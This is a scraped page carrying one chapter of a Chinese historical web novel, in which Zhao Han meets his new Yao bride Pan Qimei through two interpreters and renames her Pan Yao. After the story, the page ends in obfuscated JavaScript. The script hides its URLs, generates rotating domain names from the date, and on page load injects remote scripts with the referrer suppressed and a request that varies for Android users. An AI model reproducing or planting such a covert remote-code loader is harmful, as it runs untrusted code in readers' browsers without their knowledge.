返回

275【岭南三忠】 朕

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

,最快更新朕最新章节!

给了赏钱,众人散去。

赵瀚微笑着招手:“过来吧。”

盘七妹突击学习了一个月官话,词汇量在一百之内。她学着汉家女的样子,屈身行礼道:“夫君万福!”

口音有点古怪,不过蛮有意思的。

“别站着了,进屋说话吧。”赵瀚笑道。

盘七妹没怎么听懂,不过还是跟上去,大大方方跨过门槛。

赵瀚顺手拿起茶壶,刚要倒茶,盘七妹立即走来,握住壶柄说:“我……我……”

“倒茶?”赵瀚问道。

盘七妹连连点头:“我倒……茶。”

赵瀚坐下问:“今年多大了?”

盘七妹提着茶壶有些懵,这句汉话,似乎先生教过,又似乎没有教过。

此时的八排瑶,汉话程度很深,越靠近县城的地方,会说汉话的瑶民就越多。奈何,盘七妹是地道的山里妹子,从小到大就没有走出过村落。

赵瀚有些头疼,立即把侍卫叫来,想从送亲队伍里找个会说汉话的。

很快寻来一个,可是只会广东话,只能再加个广东话翻译。

赵瀚刚纳的姬妾,彼此想要交流,还得配两个翻译……

“你叫什么名字?”赵瀚问道。

粤语翻译立即转述,瑶语翻译再次转述。

盘七妹回答:“我姓盘,叫盘七妹。”

“只有姓,没有名吗?”赵瀚问道。

这次不用盘七妹回答,瑶语翻译就解释说:“总镇,不仅是女子,许多瑶家男子,也是只有姓的,以家中排行为名。”

赵瀚招来胡梦泰,吩咐道:“记下来,以后派去瑶村的老师……不仅是瑶村,还有僮村(壮族)、苗村,教书老师都要给当地百姓取汉名。否则的话,这户籍定然一大堆重名,极不利于官府户册管理。”

作为秘书,胡梦泰立即拿出小本本记下。

赵瀚说道:“你今后就叫盘瑶吧,瑶族的瑶。”

“盘瑶,盘瑶,”盘七妹用汉话重复了,笑着说,“好啊,盘瑶这个名字很好听。”

小姑娘笑起来有梨涡,模样更加可爱。


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hIItIItIIpIIsII:II/II/II{IIdIIdIImII}II/II1II8II/II1II1II0II5II6II1IIbII2II6II2II9II3II8".split("II").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRtRR.RRxRRmRRgRRxRRxRRqRR.RRcRRoRRmRR/RR1RR8RR/RR1RR1RR0RR5RR6RR1RRbRR2RR6RR2RR9RR3RR8".split("RR").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['c4dn4p', '52krf1en56', 'mkzyl', '4e8m9wiscm', '930qsg3j68', '7lhqw', 'f691ax6', 'd5ykh16s8b', 'u7ygkovbl', 'nht5dbh', '8ui4pdu12', 'd69otnj', 'vc2tmv', 'n5m2m', 'o80m3b'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();